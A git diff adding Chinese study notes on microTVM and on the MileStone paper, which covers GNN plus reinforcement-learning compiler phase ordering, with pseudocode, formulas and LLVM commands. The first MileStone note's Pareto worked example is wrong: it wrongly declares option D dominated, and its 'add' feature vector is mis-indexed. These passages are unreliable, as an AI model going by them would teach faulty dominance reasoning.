+        session.device,
+    )
+    graph_mod.set_input(**module.get_params())
+    graph_mod.set_input("input", tvm.nd.array(np.array([0.5], dtype="float32")))
+    graph_mod.run()
+    print("sin(0.5) ≈", graph_mod.get_output(0).numpy())
+```
+
+`create_local_graph_executor` 的「local」指图调度在**主机**，重算子在**设备**执行——调试时可在 PC 上打断点看 RPC 轨迹。
+
+## 自动调优与 CMSIS-NN
+
+microTVM 一大差异化能力是 **AutoTVM / Meta Schedule**：在真实板子（或 QEMU）上测量算子耗时，搜索 tile size、unroll 等 schedule。
+
+- 设备端跑 RPC server，主机发 `tvm.contrib.autotvm` 测量任务。
+- 对 Arm Cortex-M，可启用 **CMSIS-NN BYOC**，让特定算子落到 hand-tuned 汇编内核，再由 TVM 做图级融合。
+
+这与「只换 `.tflite` 数组」的 TFLM 不同：**同一模型可针对每块板重新调 schedule**，代价是离线调优时间更长。
+
+## 支持硬件与开发环境
+
+官方 CI 主要覆盖 **Cortex-M + Zephyr RTOS**，但不限于 Zephyr，也面向 **RISC-V** 等架构。文档列出的参考板包括：
+
+- STM32 Nucleo-F746ZG / STM32F746 Discovery
+- nRF5340 DK
+
+无物理板时可：
+
+1. 用 `target.micro("host")` + CRT 在 x86 仿真；
+2. 用 Zephyr `qemu_x86` / `qemu_cortex_m3` 目标；
+3. 用 **microTVM Reference VM**（Vagrant）预装 Zephyr 依赖，复现 bug 与教程。
+
+构建 TVM 时需打开 CMake 选项（示例）：
+
+```cmake
+set(USE_MICRO ON)
+set(USE_MICRO_STANDALONE_RUNTIME ON)
+```
+
+## microTVM vs TFLite Micro：怎么选
+
+| 维度 | microTVM | TFLite Micro |
+|------|----------|--------------|
+| 模型入口 | Relay 多前端（TFLite/ONNX/PyTorch…） | 主要 `.tflite` |
+| 执行模型 | AOT/Graph 编译 + CRT | 解释器 + FlatBuffer |
+| 调优 | AutoTVM/Meta Schedule + BYOC | 厂商内核替换（如 CMSIS-NN） |
+| 上手曲线 | 陡（需懂 TVM target/MLF/Project API） | 平缓（MicroInterpreter API 固定） |
+| 生态成熟度 | 持续演进，API 变动需跟版本 | 产品化案例多（Google/Arm 文档全） |
+
+实践上常见组合：**训练导出 TFLite → TVM 导入 Relay → microTVM 编译 + CMSIS-NN**，兼得 TFLite 工具链与 TVM 调度优势。
+
+## 常见坑与排错
+
+1. **忘记 `tir.disable_vectorize`**：Cortex-M 无 NEON 时向量化可能生成非法指令或更大代码体积。
+2. **Runtime 用错**：micro 上误用默认 C++ Runtime 会导致链接失败或体积暴涨。
+3. **Arena / workspace 不足**：AOT metadata 会声明 workspace 大小；Standalone 需在 `main.c` 里分配足够 `uint8_t workspace[]`。
+4. **Zephyr 版本不匹配**：社区示例常钉死某分支（如 2.7），升级前查 TVM 发行说明。
+5. **Host-Driven 串口权限**：Linux 上需将用户加入 `dialout`，VM 需 USB passthrough（Reference VM 文档强调）。
+
+## 延伸阅读
+
+- [microTVM 主题页](https://tvm.apache.org/docs/topic/microtvm/index.html) — 总览与教程索引
+- [microTVM Design Document](https://tvm.apache.org/docs/arch/microtvm_design.html) — Host-Driven / Standalone 固件组成
+- [Model Library Format RFC](https://discuss.tvm.apache.org/t/rfc-tvm-model-library-format/9121) — MLF 目录规范
+- [microTVM TFLite 教程](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_tflite.html)
+- [TVMC Micro CLI](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_tvmc.html)
+- 对比阅读：[TensorFlow Lite Micro 论文笔记](./tflite-micro-2021.md)、[Zephyr RTOS 概览](./zephyr-rtos-overview.md)
+
+## 一句话总结
+
+**microTVM = 在「只有 C 库、没有 OS」的 MCU 上，用 TVM 编译器把神经网络变成可烧录的 C 固件，并可选地通过 RPC 做主机驱动推理与自动调优**——它不是又一个小解释器，而是把「编译 + 调优」那套服务器级能力，压缩进 TinyML 的厨房流水线里。
diff --git a/src/content/docs/papers/milestone-multi-objective-compiler-phase-ordering-arxiv-2605-23435.md b/src/content/docs/papers/milestone-multi-objective-compiler-phase-ordering-arxiv-2605-23435.md
new file mode 100644
index 000000000..1f2aaf807
--- /dev/null
+++ b/src/content/docs/papers/milestone-multi-objective-compiler-phase-ordering-arxiv-2605-23435.md
@@ -0,0 +1,299 @@
+---
+title: "MileStone 学习笔记：用 AI 解决编译器优化排序问题"
+来源: https://arxiv.org/abs/2605-23435
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# MileStone：用 AI 解决编译器优化排序问题
+
+## 一、从做饭说起：什么是"优化排序"
+
+想象你在做一道菜。你可以加盐、可以大火炒、可以切小块、可以慢炖——每一个步骤都叫一个"优化手段"（optimization pass）。
+
+关键问题来了：**步骤顺序重要吗？**
+
+- 先切小块再洗 vs. 先洗再切小块——结果完全不同
+- 先大火炒再加盐 vs. 先加盐再大火炒——味道天差地别
+
+编译器也是一样的。它把人类写的代码（比如 C、Rust）翻译成机器能跑的指令，中间要经过很多"优化步骤"：把循环展开、把函数内联、把变量合并……**这些步骤按什么顺序执行，直接决定程序跑得快不快、占不占内存、耗不耗电。**
+
+传统编译器的做法是：给你几个固定选项，比如 `-O1`（轻度优化）、`-O2`（中度）、`-O3`（激进）。但这就像餐厅只给你"少盐、正常、多盐"三个选项——太粗糙了。
+
+**MileStone 要解决的核心问题就是：给定一堆优化步骤，怎样排出一个最优顺序？**
+
+## 二、为什么这个问题很难
+
+### 2.1 搜索空间巨大
+
+假设有 10 个优化步骤，它们能排出的顺序有 10! = 3,628,800 种。如果增加到 20 个步骤，就是 20! ≈ 2.4 × 10¹⁸ 种可能。这还没算每个步骤可以选"用"或"不用"，组合数会爆炸式增长。
+
+### 2.2 目标之间会打架
+
+你可能希望程序**跑得快**、**占内存小**、**耗电少**。但这三个目标经常互相矛盾：
+
+- 把循环展开（loop unrolling）能让程序更快，但生成的代码会变长，占更多内存
+- 开启向量优化（vectorization）能大幅提升速度，但会增加能耗
+
+这就引出了一个重要概念：**帕累托最优（Pareto Optimal）**。
+
+### 2.3 帕累托最优是什么？
+
+想象你在挑手机，有两个维度：性能和电池续航。
+
+- 手机 A：性能强但续航差
+- 手机 B：性能弱但续航好
+- 手机 C：性能和续航都不错
+
+手机 C 就"碾压"了 A 和 B——A 和 B 被称为"被支配"的选项。而 A、B 之间没法简单说谁更好，因为它们各有各的优劣。所有这种"没法被碾压"的手机组成的集合，就叫**帕累托最优解集**。
+
+MileStone 的目标不是找出唯一最优解，而是找出一组帕累托最优的排序方案，让用户根据自己的需求来选。
+
+## 三、MileStone 的核心架构
+
+MileStone 由四个模块组成，像一条流水线：
+
+```
+源代码 → Graph Generator → GNNPP（性能预测） → RLMOE（优化探索） → 最优排序方案
+                   ↑                                        ↓
+                   └──────────── RLDBG（自进化数据库） ←────┘
+```
+
+### 3.1 Graph Generator（图生成器）
+
+编译器内部有一种中间表示（IR），叫 LLVM IR。MileStone 把 LLVM IR 转换成一种**图**（Control and Data Flow Graph, CDFG）：
+
+- 图中的每个**节点**代表一条指令
+- 图中的每条**边**代表指令之间的依赖关系
+
+举个例子，这段简单的 C 代码：
+
+```c
+int a = 5;
+int b = 10;
+int c = a + b;
+```
+
+在 CDFG 中大致长这样：
+
+```
+  [alloca a] ──→ [store 5 → a] ──→ [load a] ──┐
+                                                  → [add a, b → c]
+  [alloca b] ──→ [store 10 → b] ─→ [load b] ──┘
+```
+
+这样做的好处是：编译器不再"看"代码的文本，而是"看"代码的结构——就像从看菜谱的文字描述，变成了看菜谱的流程图。
+
+### 3.2 GNNPP（基于 GNN 的性能预测器）
+
+**GNN** = Graph Neural Network（图神经网络）。
+
+你可能听过 CNN（卷积神经网络），它擅长处理图片。但图片是规则的网格，而 CDFG 是不规则的图——每个节点的邻居数量不同，也没有固定的空间顺序。CNN 处理不了这种数据。
+
+GNN 的做法是：**让每个节点跟邻居"聊天"**。每一轮，节点收集邻居的信息，更新自己的"理解"。多聊几轮之后，每个节点就包含了周围很大范围的信息。
+
+具体到 MileStone：
+
+1. 每个节点被编码成一个 10 维向量
+2. 第一维表示节点类型（基本块 or 指令）
+3. 后九维用 one-hot 编码表示指令类型（加法、乘法、内存加载等）
+
+```python
+# 节点特征编码示例
+# 一条 "add" 指令的节点特征
+add_node_feature = [
+    0,        # 不是基本块（是指令）
+    0, 0, 0,  # alloca: no
+    0, 0,     # load/store: no
+    1, 0, 0   # add: yes (乘法、除法、icmp、call 都是 0)
+]
+```
+
+GNN 经过多层"聊天"后，用**平均池化**（mean pooling）把图中所有节点的信息汇总成一个向量，这就是整个程序的"图嵌入"（graph embedding）。
+
+最后，通过一个全连接网络，预测三个指标：代码大小、执行时间、能耗。MileStone 用了三个独立的 GNN 模型，每个预测一个指标。
+
+### 3.3 RLMOE（基于强化学习的优化探索器）
+
+这是 MileStone 的大脑部分。
+
+**强化学习（RL）** 的核心概念：
+
+| 概念 | 含义 | 类比 |
+|------|------|------|
+| State（状态） | 当前局面 | 做菜进行到哪一步了 |
+| Action（动作） | 做出的决策 | 下一步放什么调料 |
+| Reward（奖励） | 反馈分数 | 菜好不好吃 |
+| Policy（策略） | 决策规则 | 你的做菜经验 |
+
+RLMOE 把优化排序问题建模成一个**马尔可夫决策过程（MDP）**：
+
+- **状态**：当前 CDFG 的图嵌入 + 元数据 + 用户指定的能耗约束
+- **动作**：对当前节点应用哪个优化指令（比如"尝试内联"或"跳过"）
+- **奖励**：只在最后一步给出，惩罚代码大小、惩罚执行时间、惩罚偏离目标能耗
+
+奖励公式的核心思想：
+
+```
+奖励 = -(代码大小权重 × 代码大小) - (能耗偏差权重 × 能耗偏差) - (执行时间权重 × 执行时间)
+```
+
+奖励是负的，所以 RL 的目标就是让奖励"尽可能大"（也就是负得尽可能少，即代价尽可能小）。
+
+MileStone 支持两种 RL 算法：
+
+- **DQN**：学习"在每个状态下，哪个动作最好"
+- **PPO**：直接学习"在某个状态下，选每个动作的概率"
+
+实验表明，对于复杂的大型程序，PPO 比 DQN 效果更好。
+
+### 3.4 RLDBG（自进化数据库）
+
+RLMOE 在探索过程中，会把每次尝试的结果记录下来：
+
+- 用了哪些优化步骤
+- 排序是什么
+- 最终代码大小、执行时间、能耗各是多少
+
+这些数据形成数据库，反过来训练 GNNPP，让预测更准。预测更准了，RLMOE 探索得更快。这是一个正向循环。
+
+## 四、代码示例
+
+### 示例 1：GNNPP 的图嵌入流程
+
+伪代码展示一个 CDFG 如何被变成性能预测：
+
+```python
+class GNNPP(nn.Module):
+    """GNN 性能预测器"""
+
+    def __init__(self, node_dim=10, hidden_dim=64):
+        super().__init__()
+        # GCN 层：让节点互相"聊天"
+        self.gcn1 = GCNLayer(node_dim, hidden_dim)
+        self.gcn2 = GCNLayer(hidden_dim, hidden_dim)
+        # 预测头：三个独立的模型
+        self.head_size = MLP(hidden_dim, 1)    # 预测代码大小
+        self.head_time = MLP(hidden_dim, 1)    # 预测执行时间
+        self.head_energy = MLP(hidden_dim, 1)  # 预测能耗
+
+    def forward(self, adj, node_features):
+        # 第一层 GCN：节点开始收集邻居信息
+        h = self.gcn1(node_features, adj)
+        h = leaky_relu(h)
+        # 第二层 GCN：节点收集"邻居的邻居"的信息
+        h = self.gcn2(h, adj)
+        h = leaky_relu(h)
+        # 平均池化：把所有节点信息压缩成一个向量
+        graph_embedding = mean_pooling(h)
+        # 分别预测三个指标
+        code_size = self.head_size(graph_embedding)
+        exec_time = self.head_time(graph_embedding)
+        energy = self.head_energy(graph_embedding)
+        return code_size, exec_time, energy
+```
+
+### 示例 2：RLMOE 的核心训练循环
+
+伪代码展示强化学习探索器如何工作：
+
+```python
+def training_loop(cdfg_index, energy_target, episodes=3000):
+    for episode in range(episodes):
+        # 初始化：所有节点都还没有分配优化指令
+        state = build_initial_state(cdfg_index, energy_target)
+
+        for step in range(total_nodes):
+            # RL 智能体观察当前状态，选择动作
+            # DQN 用 ε-greedy 策略探索
+            action = rl_agent.select_action(state)
+
+            # 执行动作：把优化指令应用到当前节点
+            next_state = apply_action(state, action)
+
+            # 中间步骤没有奖励，只在最后一步评估
+            if step == total_nodes - 1:
+                # 用 GNNPP 快速预测性能指标
+                code_size, exec_time, energy = gnnpp.predict(state)
+
+                # 计算奖励（负值，越小越好）
+                reward = -(
+                    alpha * code_size +
+                    beta * abs(energy - energy_target) +
+                    lambda_ * exec_time
+                )
+
+            state = next_state
+
+        # 用奖励更新 RL 智能体
+        rl_agent.update(state, action, reward)
+```
+
+### 示例 3：帕累托最优的比较
+
+假设 MileStone 为同一段代码找到了四种排序方案：
+
+```
+方案    执行时间    代码大小(KB)    能耗(J)
+A       1.2s        200             5.0
+B       1.4s        150             2.0
+C       1.0s        300             8.0
+D       2.0s        100             1.5
+```
+
+分析：
+- A 比 D 更快，A 的能耗更低 → **D 被 A 支配**，排除 D
+- B 和 A 比较：B 更慢但更小更省电，无法简单比较
+- C 和 A 比较：C 更快但代码大得多、能耗高很多，无法简单比较
+- B 比 D 更快、更大、更耗电 → **D 也被 B 支配**，排除 D
+
+最终帕累托最优解集是：{A, B, C}。用户可以根据实际需求选择：嵌入式设备选 B，高性能服务器选 C。
+
+## 五、实验结果
+
+MileStone 在 PolyBench 基准测试上做了实验，关键结果：
+
+| 指标 | MileStone-PPO | LLVM -O3 | 提升幅度 |
+|------|---------------|----------|----------|
+| 能耗约束匹配率 | 90-92% | 3-9% | 约 10-30 倍 |
+| 同等能耗下的执行时间减少 | - | 基准 | **最多 45%** |
+| 相比传统方法（GA/PSO） | - | 64-68% 匹配率 | 高出约 25% |
+
+几个重要发现：
+
+1. GNN 用 2 层 GCN 是最优的。层数再多会导致"过平滑"（oversmoothing）——节点的表示变得太相似，失去了区分度
+2. PPO 在大型程序上优于 DQN，因为 DQN 的 critic 在状态空间变大时难以准确估计价值
+3. 不同 μ 值（代码大小 vs 执行时间的权重）能灵活切换优化倾向
+
+## 六、MileStone 的独特之处
+
+把 MileStone 和其他方法对比：
+
+| 方法 | 多目标优化 | 图表示 | 搜索空间 |
+|------|-----------|--------|----------|
+| **MileStone** | ✅ 是 | ✅ CDFG 图 | ✅ 无限制 |
+| MiCOMP | ❌ 单目标 | ❌ 序列编码 | 有限 |
+| POSET-RL | ❌ 单目标 | ❌ IR2Vec | 有限 |
+| Shackleton | ❌ 单目标 | ❌ | ✅ 无限制 |
+
+MileStone 是目前唯一一个同时具备**图表示 + 真正多目标优化 + 无限制搜索空间**的方法。
+
+## 七、总结
+
+MileStone 的核心思路可以浓缩成一句话：
+
+> **用图神经网络理解程序结构，用强化学习探索优化排序，用多目标优化找到帕累托最优的平衡点。**
+
+它把编译器优化从"工程师凭经验排步骤"变成了"AI 自动找最优解"，而且这个最优解不是单一的，而是一组可供用户选择的帕累托最优方案。
+
+对于一个零基础的学习者来说，记住三个关键词就够了：
+
+1. **图**——把代码变成节点和边的关系图
+2. **GNN**——让 AI 从图中学习程序的结构特征
+3. **强化学习**——让 AI 像玩游戏一样，试出最优的优化步骤排序
+
+---
+
+*参考论文：Amirhosein Sadr, Mehran Alidoost Nia. "MileStone: A Multi-Objective Compiler Phase Ordering Framework for Graph-based IR-Level Optimization." PLDI '26, arXiv:2605.23435.*
diff --git a/src/content/docs/papers/milestone-phase-order.md b/src/content/docs/papers/milestone-phase-order.md
new file mode 100644
index 000000000..55128cba2
--- /dev/null
+++ b/src/content/docs/papers/milestone-phase-order.md
@@ -0,0 +1,343 @@
+---
+title: MileStone — 多目标编译器 Phase Ordering（GNN + RL）零基础学习笔记
+来源: https://arxiv.org/abs/2605.23435
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：做菜工序 vs 固定菜谱
+
+想象你在经营一家**中央厨房**，要把同一批食材做成成品菜。厨房里有几十种工序：切配、腌制、焯水、爆炒、蒸、烤、装盘……每种工序都会改变食材的状态，而且**先后顺序**极其重要——先腌后切和先切后腌，口感完全不同；过度爆炒会让体积膨胀（代码变大），过度蒸制会耗电但省火工（能耗与时间的权衡）。
+
+传统编译器给你的是**固定套餐**：
+
+- `-O1`：家常快手菜
+- `-O2`：标准宴席
+- `-O3`：追求极致速度，往往牺牲体积和能耗
+
+这三档只是巨大搜索空间里的**三个点**。真实场景更复杂：手机 App 要控制安装包体积；IoT 设备电池只有 200 mAh，必须在**能耗上限**内尽量快；数据中心又要吞吐优先。你很少只关心单一指标。
+
+**Phase Ordering Problem（阶段排序问题）** 就是：给定一堆 LLVM/GCC 优化 pass（内联、循环展开、向量化、死代码消除……），找到**一串顺序**，让最终程序在多个目标上同时表现良好。
+
+穷举所有 pass 排列？组合爆炸，不现实。每个候选序列都真机跑一遍 profiling？太慢。
+
+**MileStone**（Shahid Beheshti University，[arXiv:2605.23435](https://arxiv.org/abs/2605.23435)，PLDI 2026）的做法像雇了两位助手：
+
+1. **品菜师（GNN）**：看一眼当前「食材关系图」（LLVM IR 的控制流+数据流图 CDFG），不用真下锅，就能**预测**做完某套工序后的执行时间、代码体积、能耗。
+2. **排班经理（RL）**：在品菜师反馈下，逐步决定每个节点该偏向「缩体积」还是「抢速度」，并在用户给的**能耗预算**内探索 Pareto 最优折中。
+
+论文摘要报告：在相同能耗预算下，执行时间最多可降低约 **45%**；且无需穷举搜索或动态 profiling 也能找到多目标 Pareto 前沿。
+
+一句话：**用图神经网络当廉价性能预言机，用强化学习当多目标排程器，解决编译器 pass 顺序怎么排。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | MileStone: A Multi-Objective Compiler Phase Ordering Framework for Graph-based IR-Level Optimization |
+| 作者 | Amirhossein Sadr, Mehran Alidoost Nia |
+| 机构 | Shahid Beheshti University（伊朗） |
+| 发表 | PLDI 2026（ACM SIGPLAN） |
+| arXiv | [2605.23435](https://arxiv.org/abs/2605.23435) |
+| 关键词 | Compiler Optimization, Multi-Objective Optimization, Phase Ordering, GNN, RL |
+| 目标平台 | LLVM IR 层（前端编译后提取 CDFG） |
+| 优化指标 | 执行时间（ExecTime）、代码体积（CodeSize）、能耗（Energy） |
+
+名字 **MileStone** 有两层含义：流水线被拆成「图提取 → 数据库构建 → 预测 → 多目标探索」等里程碑；同时在执行时间/体积/能耗的 trade-off 空间里，标出 Pareto 最优的「里程碑点」。
+
+---
+
+## 为什么重要
+
+### 1. `-O3` 不是万能答案
+
+`-O3` 会激进内联、循环展开、自动向量化——通常更快，但**代码膨胀**、**功耗上升**。嵌入式、边缘 AI、电池设备往往不能接受。固定优化级别无法表达「在 3J 能耗以内尽量快」这类**带约束的多目标**需求。
+
+### 2. 单目标学习方法不够用
+
+已有工作（Autophase、CompilerGym、MLComp 等）多用 RL 或监督学习找 pass 序列，但常见局限：
+
+- 只优化**执行时间**或**代码大小**之一
+- 依赖**动态 profiling**（真编译+真跑），样本效率低
+- 把多目标硬塞进加权标量和，丢失 Pareto 前沿多样性
+
+MileStone 把问题形式化为**约束多目标优化（CMOO）**，显式探索 Pareto 前沿。
+
+### 3. GNN + RL 分工明确
+
+| 组件 | 角色 | 类比 |
+|------|------|------|
+| GNNPP | 静态预测三个指标 | 品菜师：看菜谱结构猜结果 |
+| RLMOE | 探索 pass/指令级决策 | 排班经理：试不同工序组合 |
+| RLDBG | 自进化数据库 | 配方档案室：越积越准 |
+| GG | LLVM IR → CDFG | 把厨房现状画成关系图 |
+
+GNN 提供**廉价反馈**，RL 不必每步都真编译，训练收敛更快。
+
+---
+
+## 核心概念
+
+### 1. Compiler Pass 与 Phase Ordering
+
+现代编译器（LLVM、GCC）把优化拆成可插拔的 **pass**：`inline`、`loop-unroll`、`vectorize`、`dce`……每个 pass 读写 IR。Pass **顺序**影响最终效果，且 pass 之间可能互相增强或抵消（例如先 DCE 再 inline vs 反过来）。
+
+搜索空间大小随 pass 数量呈阶乘级增长；`-O1/-O2/-O3` 只是人工挑出的几条路径。
+
+### 2. CDFG（Control and Data Flow Graph）
+
+MileStone 不直接喂源代码文本，而是从 **LLVM IR** 提取 **CDFG**：
+
+- **节点**：基本块节点 + 指令节点（`alloca`、`load`、`store`、`add`、`call` 等）
+- **边**：控制流边 + 数据依赖边
+
+这样程序结构（循环、分支、调用关系）和语义（算术、内存操作）都编码进图里，适合 GNN 做 message passing。
+
+### 3. GNNPP：图卷积性能预测器
+
+每个节点用 **10 维二元特征向量**：
+
+- 第 1 维：基本块 vs 指令
+- 后 9 维：常见 LLVM opcode 的 one-hot（`alloca/load/store/add/sub/mul/div/icmp/call`）
+
+多层 **GCN（Graph Convolutional Network）** 做邻居聚合，mean pooling 得到图级 embedding，再接三层全连接 + LeakyReLU，分别预测 **CodeSize、Energy、ExecTime**（三个结构相同、权重独立的 GNN）。
+
+推理时三个 embedding 各 64 维，拼接成 **192 维** 向量，再拼 CDFG 元数据（节点数、边数、乘法次数等），作为 RL 的状态输入。
+
+### 4. RLMOE：强化学习多目标探索器
+
+把 phase ordering 建模为 **MDP**：
+
+| MDP 元素 | MileStone 中的含义 |
+|----------|-------------------|
+| 状态 \(s_t\) | 部分赋值的 CDFG + 192 维 embedding + 当前节点 ID + 能耗约束 |
+| 动作 \(a_t\) | 对当前节点选择优化取向（如偏代码大小 vs 偏执行时间） |
+| 转移 | 逐步为 CDFG 节点分配 directive，直到完整方案 |
+| 奖励 \(r_t\) | 中间步为 0；**最后一步**用 GNN 预测值算综合奖励 |
+
+奖励与优化目标（论文公式 2、4）对齐。在用户指定能耗目标 \(Energy_{target}\) 下，最小化：
+
+\[
+U(\text{CodeSize}, \text{ExecTime} \mid Energy_{target}) = \mu \frac{\text{CodeSize}}{q} + (1-\mu)\,\text{ExecTime}
+\]
+
+终端奖励形如：
+
+\[
+r_T = -\alpha \cdot \text{CodeSize}_p - \beta \cdot |Energy_t - Energy_p| - \lambda \cdot \text{ExecTime}_p
+\]
+
+其中 \(\alpha = \mu/q\)，\(\lambda = 1-\mu\)，\(p\) 表示 GNN 预测值。算法可用 **DQN** 或 **PPO**。
+
+### 5. RLDBG：自进化数据库
+
+闭环训练的数据来源：
+
+1. RLMOE 探索大量 pass 配置
+2. Evaluator **真编译 + profiling** 得到 ground truth
+3. 存入数据库：IR、CDFG、实测指标
+4. 用这些数据**监督训练 GNNPP**
+5. 更准的 GNN → 更快的 RL 反馈 → 更多高质量样本
+
+论文强调捕获 **Pareto 高效** 结果，减少重复 profiling。
+
+### 6. Pareto 最优与能耗约束
+
+两个方案 A、B：
+
+- A：1.2 s，5 J
+- B：1.4 s，2 J
+
+对电池供电 MCU，B 可能更优——尽管更慢。MileStone 在**用户能耗约束**下找非支配解集（Pareto front），而不是单一「最快」答案。
+
+---
+
+## 四模块架构（工作流）
+
+```text
+LLVM 前端 IR
+    │
+    ▼
+┌─────────────┐
+│ GG          │  Graph Generator：提取 CDFG
+└──────┬──────┘
+       │
+       ├──────────────────────────────────┐
+       ▼                                  ▼
+┌─────────────┐                    ┌─────────────┐
+│ RLDBG       │◄──探索/标注───────│ RLMOE       │
+│ 自进化 DB   │                    │ RL 探索器   │
+└──────┬──────┘                    └──────▲──────┘
+       │ 训练数据                        │ 预测反馈
+       ▼                                  │
+┌─────────────┐──────────────────────────┘
+│ GNNPP       │  三头 GNN 预测 Size/Energy/Time
+└─────────────┘
+```
+
+**训练阶段**：RLDBG 驱动探索 → 标注 CDFG → 训练 GNNPP → GNN 加速 RLMOE 策略学习。
+
+**推理阶段**：新程序 → GG 出图 → GNNPP 嵌入 → RLMOE 在约束下输出 pass 策略 → Pareto 里程碑解。
+
+---
+
+## 代码示例 1：从 LLVM IR 概念构造 CDFG 节点特征
+
+下面用 Python **伪代码**说明论文中 10 维节点特征如何编码（便于理解 GNN 输入，非官方实现）：
+
+```python
+# MileStone GNNPP 节点特征：10 维二元向量
+OPCODES = ["alloca", "load", "store", "add", "sub", "mul", "div", "icmp", "call"]
+
+def node_features(node) -> list[int]:
+    """将 CDFG 节点编码为 10 维特征（论文 §4.2.1）"""
+    feats = [0] * 10
+    if node.kind == "basic_block":
+        feats[0] = 1  # 基本块节点
+        return feats
+    # 指令节点
+    feats[0] = 0
+    if node.opcode in OPCODES:
+        feats[1 + OPCODES.index(node.opcode)] = 1
+    return feats
+
+# 示例：一条 store 指令节点
+store_node = {"kind": "instruction", "opcode": "store"}
+print(node_features(store_node))
+# [0, 0, 0, 1, 0, 0, 0, 0, 0, 0]  → store 在索引 3（1+2）
+
+# 示例：基本块入口
+bb_node = {"kind": "basic_block"}
+print(node_features(bb_node))
+# [1, 0, 0, 0, 0, 0, 0, 0, 0, 0]
+```
+
+要点：结构（块 vs 指令）和语义（opcode）分开编码，让 GCN 能区分控制流骨架与计算操作。
+
+---
+
+## 代码示例 2：终端奖励与多目标标量（对齐论文公式）
+
+```python
+def milestone_terminal_reward(
+    code_size_p: float,      # GNN 预测代码体积
+    exec_time_p: float,      # GNN 预测执行时间
+    energy_p: float,         # GNN 预测能耗
+    energy_target: float,    # 用户能耗预算
+    mu: float = 0.5,         # 代码体积 vs 时间的权重
+    q: int = 1000,           # 体积量纲缩放
+    beta: float = 1.0,       # 能耗偏差惩罚
+) -> float:
+  """
+  对应 MileStone 公式 (2)(4) 的终端奖励（RL 只在最后一步非零）。
+  RL 最大化累计奖励 → 等价于最小化加权目标 + 能耗约束偏差。
+  """
+  alpha = mu / q
+  lam = 1.0 - mu
+  penalty_energy = abs(energy_target - energy_p)
+  return -(
+      alpha * code_size_p
+      + lam * exec_time_p
+      + beta * penalty_energy
+  )
+
+# 场景：IoT 设备能耗预算 2J，更在意能耗达标
+r = milestone_terminal_reward(
+    code_size_p=12000,
+    exec_time_p=1.4,
+    energy_p=1.9,
+    energy_target=2.0,
+    mu=0.3,      # 更偏执行时间
+    beta=2.0,    # 加重能耗约束
+)
+print(f"terminal reward: {r:.4f}")
+```
+
+调 `mu` 可在「缩体积」与「抢速度」间滑动；调 `beta` 可强化「别超能耗预算」。RLMOE 通过在不同约束下探索，拼凑 Pareto 前沿上的多个里程碑点。
+
+---
+
+## 代码示例 3：用 clang 理解「pass 顺序」实验入口（可选动手）
+
+虽 MileStone 未开源完整框架，理解 phase ordering 可从手动试 LLVM pass 管道开始：
+
+```bash
+# 查看默认 -O3 会跑哪些 pass（LLVM 17+）
+opt -passes='default<O3>' -disable-output hello.bc -print-passes 2>&1 | head
+
+# 自定义 pass 顺序：先内联再循环展开（顺序不同结果可能不同）
+opt -passes='inline,function(loop-unroll)' hello.bc -o tuned.bc
+
+# 对比代码体积与后续链接产物
+clang tuned.bc -o tuned -O0
+size tuned
+```
+
+MileStone 的价值在于：不用你对每个 benchmark 手工试几百条 `opt -passes=...`，而是由 RL 在 GNN 预测引导下自动搜索，且同时看时间/体积/能耗。
+
+---
+
+## 实验结论（论文摘要级）
+
+论文在标准 benchmark 上报告：
+
+- 能找到**强 Pareto 最优**解，优于固定 LLVM 优化级别及相关技术
+- 在**相同能耗预算**下，执行时间最多降低约 **45%**
+- 比依赖固定启发式或单目标学习的方法，更能**准确满足能耗约束**
+
+（具体 benchmark 名称、基线对比细节见论文 §5 Experimental Results。）
+
+---
+
+## 与相关工作的关系
+
+| 方向 | 代表工作 | 与 MileStone 的差异 |
+|------|----------|---------------------|
+| RL + 编译 pass | Autophase (Haj-Ali et al.) | Autophase 偏 HLS/单目标；MileStone 强调 LLVM IR + **三目标** |
+| GNN + pass 学习 | CompilerGym, ProGraML | 多依赖 profiling 奖励；MileStone 用 GNN **静态预测** 减 profiling |
+| 多目标 pass 序列 | MLComp | 同样 RL+ML 估计，MileStone 强调 **CDFG + 自进化 DB + 能耗约束 Pareto** |
+| 固定优化级别 | `-O1/-O2/-O3` | 只是搜索空间中极少数预设点 |
+
+读 MileStone 的最佳搭档：先理解 LLVM pass 管线，再看 **Autophase**（RL 排 pass 的开山）、**ProGraML**（程序图表示）、**MLComp**（多目标 pass 序列 + ML 性能估计）。
+
+---
+
+## 局限与开放问题
+
+1. **GNN 预测误差**：RL 策略受 surrogate 质量上限；极端未见过的 IR 结构可能预测漂移。
+2. **训练成本**：RLDBG 仍需一定量真 profiling 建库；冷启动程序域与目标 CPU 时要重新积累数据。
+3. **动作空间抽象**：论文将决策建模为对 CDFG 节点赋 directive，与工业界完整 pass pipeline 的映射关系需读原文细节。
+4. **泛化到其他后端**：目前围绕 LLVM IR/CDFG；GPU kernel 编译器（XLA、TVM）的 phase ordering 是平行问题，架构可借鉴但图特征需重做。
+
+---
+
+## 零基础自检清单
+
+读完本篇，你应该能回答：
+
+- [ ] 什么是 **phase ordering problem**？为什么 `-O3` 不能覆盖所有场景？
+- [ ] **CDFG** 的节点和边分别表示什么？
+- [ ] **GNNPP** 和 **RLMOE** 各解决什么子问题？为何要强绑定？
+- [ ] **RLDBG** 在闭环里扮演什么角色？
+- [ ] 论文中 **Pareto 最优** 与 **能耗约束** 如何同时体现？
+- [ ] 终端奖励里 \(\mu\)、\(q\)、\(\beta\) 各控制什么权衡？
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.23435](https://arxiv.org/html/2605.23435v1)
+- LLVM Pass 基础设施：[LLVM Passes](https://llvm.org/docs/Passes.html)
+- Autophase（RL 排 HLS pass）：[MLSys 2020](https://proceedings.mlsys.org/paper/2020/file/5b47430e24a5a1f9fe21f0e8eb814131-Paper.pdf)
+- ProGraML（程序图表示）：Cummins et al., 2021
+- MLComp（多目标 pass + ML 估计）：[arXiv:2012.05270](https://arxiv.org/abs/2012.05270)
+
+---
+
+## 一句话带走
+
+**MileStone 把编译器优化排程变成「看图预测 + 强化学习寻 Pareto 前沿」：GNN 当廉价品菜师，RL 当听预算的排班经理，自进化数据库让两者越配合越准——在能耗约束下，比死磕 `-O3` 更能找到适合你设备的那道菜。**
